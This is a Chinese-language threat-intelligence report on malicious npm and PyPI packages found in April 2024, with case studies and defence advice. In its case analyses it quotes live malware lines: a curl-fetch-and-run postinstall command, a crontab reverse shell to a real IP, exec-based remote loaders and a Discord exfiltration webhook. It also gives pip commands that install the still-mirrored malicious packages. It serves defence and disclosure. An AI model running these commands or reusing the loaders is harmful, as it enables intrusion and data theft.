供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
字数 2740 2025-08-19 12:41:50

开源供应链投毒攻击分析与防范指南

一、供应链投毒概述

开源供应链投毒是指攻击者通过向开源软件仓库(如NPM、PyPI等)上传包含恶意代码的组件包,利用开发者对这些仓库的信任,在开发者安装或更新依赖时植入恶意代码的攻击行为。

1.1 2024年4月投毒数据统计

  • 总捕获量:772个不同版本的恶意组件包
  • 仓库分布
    • NPM仓库占比:89%
    • PyPI仓库占比:11%
  • 趋势变化:PyPI仓库在3月遭受集中投毒后加强了审查,4月投毒数量大幅下降

二、投毒攻击方式分析

2.1 主要攻击方式统计

攻击方式 占比 描述
恶意文件执行 84.25% 利用包管理器自定义指令执行隐藏的恶意文件
恶意文件下载 8.64% 从远程服务器下载并执行恶意文件
代码混淆执行 4.81% 使用编码/混淆技术隐藏恶意代码
恶意文件释放 1.20% 释放恶意文件到系统并执行
Shell命令执行 1.09% 直接执行恶意Shell命令

2.2 恶意行为统计

  • 信息窃取:占比93%,主要目标包括:
    • 系统基础信息
    • 系统密码文件(/etc/passwd)
    • 系统日志
    • 用户信息
    • 网络配置
    • DNS服务器IP
    • 浏览器Cookie及登录凭证
  • 其他恶意行为
    • CStealer窃密后门(PyPI)
    • 挖矿后门
    • 远控木马和反向Shell后门(呈上升趋势)
    • 数字钱包应用攻击(较3月有所减少)

三、典型投毒案例分析

3.1 系统信息外传攻击(PyPI)

样本:rhermann系列包(rhermann, rhermann-ct, rhermann-sdsm, rhermann-sds)

特征

  • 高版本号(99.0),疑似依赖混淆攻击
  • 恶意代码植入setup.py
  • 收集信息包括:系统版本、主机名、用户名、网络配置、DNS配置、主机IP
  • 外传至攻击者服务器:https://pypi-index.org/process_data
  • 迷惑性域名:pypi-index.org(注册于2024年4月10日)

影响

  • Pypi官方下载量:758次
  • 仍可从国内镜像源(如清华大学、腾讯云)下载

测试命令

pip3 install rhermann -i https://pypi.tuna.tsinghua.edu.cn/simple

3.2 恶意Shell命令执行(NPM)

样本:monopulips

攻击链

  1. package.json中定义postinstall指令
  2. 执行恶意bash命令:
bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'
  1. 第二阶段脚本包含编码的bash代码(base64+反转)
  2. 最终窃取:
    • /etc/passwd
    • ~/.bash_history
    • 系统信息
    • 外传至:https://8b53a8d8a1c2.sherlockshat007.workers.dev

关联样本:PyPI的lyft-core(999.3.9)使用相似技术

3.3 反向Shell后门(PyPI)

样本:user-agents-parser, user-agents-parsers

特征

  • 伪装知名UserAgent解析库
  • 恶意代码位于user-agents/parsers.py
  • 通过crontab实现持久化:
__import__("os").system("(crontab -l > .tab ; echo \"*/5 * * * * bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'\" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")
  • 反弹Shell至:95.179.177.74:1337

影响

  • 总下载量:904次
  • 仍可从国内镜像源下载

测试命令

pip3 install user-agents-parsers -i https://pypi.tuna.tsinghua.edu.cn/simple

3.4 CStealer后门攻击(PyPI)

样本:multiplerequests, multihttp, multihttps

攻击链

  1. setup.py中第一阶段恶意代码:
from urllib import request
package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"
package_name = request.urlopen(package_url).read()
exec(base64.b64decode(package_name))
  1. 下载执行第二阶段base64编码的CStealer变种
  2. 功能包括:
    • 收集系统敏感信息
    • 收集浏览器隐私数据
    • 收集数字钱包应用数据
    • 系统屏幕截屏
    • 开机自启动
  3. 数据外传至Discord webhook:
https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW

影响

  • 总下载量:超过2200次
  • 仍可从国内镜像源下载

测试命令

pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple

3.5 恶意木马植入

NPM样本:djs-log(1.1.0, 1.1.1)

  • 伪装discord.js组件
  • package.json中preinstall执行shell命令
  • 混淆的index.js从discord CDN拉取Uninstall-Node.js.exe
  • VT检测:3款杀毒引擎报毒

PyPI样本:reqargs

  • setup.py中下载执行windows.exe
  • 下载源:Dropbox服务器
  • VT检测:多款杀毒引擎报毒

3.6 数字钱包窃密劫持(PyPI)

样本:useragent-api(3.1.1, 3.1.4, 3.1.5)

攻击链

  1. init.py中hex编码的第一阶段代码
  2. 解码后拉取第二阶段代码:
import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)
  1. 第三阶段PowerShell代码(base64编码)
  2. 第四阶段功能:
    • 收集用户口令数据(匹配钱包助记词、私钥等关键字)
    • 收集Exodus、Electrum、Monero钱包数据
    • 篡改劫持钱包应用(替换app.asar)
    • 系统屏幕截屏
    • 数据外传至Telegram bot API

影响

  • 下载量:860次

3.7 挖矿后门(PyPI)

样本:py-colorprinting(0.1.1-0.1.5)

特征

  • 伪装colorprint模块
  • colorpr/init.py加载恶意core.py
  • 下载执行挖矿程序ore-miner.zip
  • 矿池地址:
    • https://jupiter-frontend.rpc-pool.com
    • https://raydium-raydium-5ad5.mainnet.rpc-pool.com

影响

  • 下载量:864次
  • 仍可从国内镜像源下载

测试命令

pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple

四、投毒组件排查方法

使用OpenSCA-cli工具进行扫描:

  1. 创建db.json文件(示例):
[
  {
    "product": "monopulips",
    "version": "[0.1.0, 0.1.5]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-31C14E5C",
    "description": "NPM组件monopulips存在恶意代码,远程下载恶意bash命令执行。",
    "release_date": "2024-04-02"
  },
  // 其他组件...
]
  1. 执行扫描:
opensca-cli -db db.json -path ${project_path}

五、防范建议

  1. 依赖源管理

    • 优先使用官方源
    • 谨慎使用第三方镜像源
    • 建立企业内部镜像源
  2. 依赖审查

    • 检查组件声誉和下载量
    • 审查新引入依赖的代码
    • 使用SBOM工具跟踪组件依赖
  3. 安全工具

    • 使用OpenSCA等SCA工具定期扫描
    • 部署终端防护软件
    • 实施网络流量监控
  4. 开发实践

    • 锁定依赖版本
    • 最小化依赖原则
    • 定期更新依赖并审查变更
  5. 应急响应

    • 建立供应链安全事件响应流程
    • 保留可快速隔离受影响系统的能力
    • 定期备份关键数据和配置

六、总结

开源供应链投毒攻击呈现以下趋势:

  1. NPM仓库是主要攻击目标
  2. 信息窃取仍是主流攻击目的
  3. 针对数字钱包和挖矿的攻击日益严重
  4. 攻击手法多样化,包括依赖混淆、多阶段加载、代码混淆等

开发者应提高安全意识,建立完善的供应链安全管理体系,使用专业工具进行持续监测和防护。

开源供应链投毒攻击分析与防范指南 一、供应链投毒概述 开源供应链投毒是指攻击者通过向开源软件仓库(如NPM、PyPI等)上传包含恶意代码的组件包,利用开发者对这些仓库的信任,在开发者安装或更新依赖时植入恶意代码的攻击行为。 1.1 2024年4月投毒数据统计 总捕获量 :772个不同版本的恶意组件包 仓库分布 : NPM仓库占比:89% PyPI仓库占比:11% 趋势变化 :PyPI仓库在3月遭受集中投毒后加强了审查,4月投毒数量大幅下降 二、投毒攻击方式分析 2.1 主要攻击方式统计 | 攻击方式 | 占比 | 描述 | |---------|------|------| | 恶意文件执行 | 84.25% | 利用包管理器自定义指令执行隐藏的恶意文件 | | 恶意文件下载 | 8.64% | 从远程服务器下载并执行恶意文件 | | 代码混淆执行 | 4.81% | 使用编码/混淆技术隐藏恶意代码 | | 恶意文件释放 | 1.20% | 释放恶意文件到系统并执行 | | Shell命令执行 | 1.09% | 直接执行恶意Shell命令 | 2.2 恶意行为统计 信息窃取 :占比93%,主要目标包括: 系统基础信息 系统密码文件(/etc/passwd) 系统日志 用户信息 网络配置 DNS服务器IP 浏览器Cookie及登录凭证 其他恶意行为 : CStealer窃密后门(PyPI) 挖矿后门 远控木马和反向Shell后门(呈上升趋势) 数字钱包应用攻击(较3月有所减少) 三、典型投毒案例分析 3.1 系统信息外传攻击(PyPI) 样本 :rhermann系列包(rhermann, rhermann-ct, rhermann-sdsm, rhermann-sds) 特征 : 高版本号(99.0),疑似依赖混淆攻击 恶意代码植入setup.py 收集信息包括:系统版本、主机名、用户名、网络配置、DNS配置、主机IP 外传至攻击者服务器: https://pypi-index.org/process_data 迷惑性域名:pypi-index.org(注册于2024年4月10日) 影响 : Pypi官方下载量:758次 仍可从国内镜像源(如清华大学、腾讯云)下载 测试命令 : 3.2 恶意Shell命令执行(NPM) 样本 :monopulips 攻击链 : package.json中定义postinstall指令 执行恶意bash命令: 第二阶段脚本包含编码的bash代码(base64+反转) 最终窃取: /etc/passwd ~/.bash_ history 系统信息 外传至: https://8b53a8d8a1c2.sherlockshat007.workers.dev 关联样本 :PyPI的lyft-core(999.3.9)使用相似技术 3.3 反向Shell后门(PyPI) 样本 :user-agents-parser, user-agents-parsers 特征 : 伪装知名UserAgent解析库 恶意代码位于user-agents/parsers.py 通过crontab实现持久化: 反弹Shell至:95.179.177.74:1337 影响 : 总下载量:904次 仍可从国内镜像源下载 测试命令 : 3.4 CStealer后门攻击(PyPI) 样本 :multiplerequests, multihttp, multihttps 攻击链 : setup.py中第一阶段恶意代码: 下载执行第二阶段base64编码的CStealer变种 功能包括: 收集系统敏感信息 收集浏览器隐私数据 收集数字钱包应用数据 系统屏幕截屏 开机自启动 数据外传至Discord webhook: 影响 : 总下载量:超过2200次 仍可从国内镜像源下载 测试命令 : 3.5 恶意木马植入 NPM样本 :djs-log(1.1.0, 1.1.1) 伪装discord.js组件 package.json中preinstall执行shell命令 混淆的index.js从discord CDN拉取Uninstall-Node.js.exe VT检测:3款杀毒引擎报毒 PyPI样本 :reqargs setup.py中下载执行windows.exe 下载源:Dropbox服务器 VT检测:多款杀毒引擎报毒 3.6 数字钱包窃密劫持(PyPI) 样本 :useragent-api(3.1.1, 3.1.4, 3.1.5) 攻击链 : init .py中hex编码的第一阶段代码 解码后拉取第二阶段代码: 第三阶段PowerShell代码(base64编码) 第四阶段功能: 收集用户口令数据(匹配钱包助记词、私钥等关键字) 收集Exodus、Electrum、Monero钱包数据 篡改劫持钱包应用(替换app.asar) 系统屏幕截屏 数据外传至Telegram bot API 影响 : 下载量:860次 3.7 挖矿后门(PyPI) 样本 :py-colorprinting(0.1.1-0.1.5) 特征 : 伪装colorprint模块 colorpr/ init .py加载恶意core.py 下载执行挖矿程序ore-miner.zip 矿池地址: https://jupiter-frontend.rpc-pool.com https://raydium-raydium-5ad5.mainnet.rpc-pool.com 影响 : 下载量:864次 仍可从国内镜像源下载 测试命令 : 四、投毒组件排查方法 使用OpenSCA-cli工具进行扫描: 创建db.json文件(示例): 执行扫描: 五、防范建议 依赖源管理 : 优先使用官方源 谨慎使用第三方镜像源 建立企业内部镜像源 依赖审查 : 检查组件声誉和下载量 审查新引入依赖的代码 使用SBOM工具跟踪组件依赖 安全工具 : 使用OpenSCA等SCA工具定期扫描 部署终端防护软件 实施网络流量监控 开发实践 : 锁定依赖版本 最小化依赖原则 定期更新依赖并审查变更 应急响应 : 建立供应链安全事件响应流程 保留可快速隔离受影响系统的能力 定期备份关键数据和配置 六、总结 开源供应链投毒攻击呈现以下趋势: NPM仓库是主要攻击目标 信息窃取仍是主流攻击目的 针对数字钱包和挖矿的攻击日益严重 攻击手法多样化,包括依赖混淆、多阶段加载、代码混淆等 开发者应提高安全意识,建立完善的供应链安全管理体系,使用专业工具进行持续监测和防护。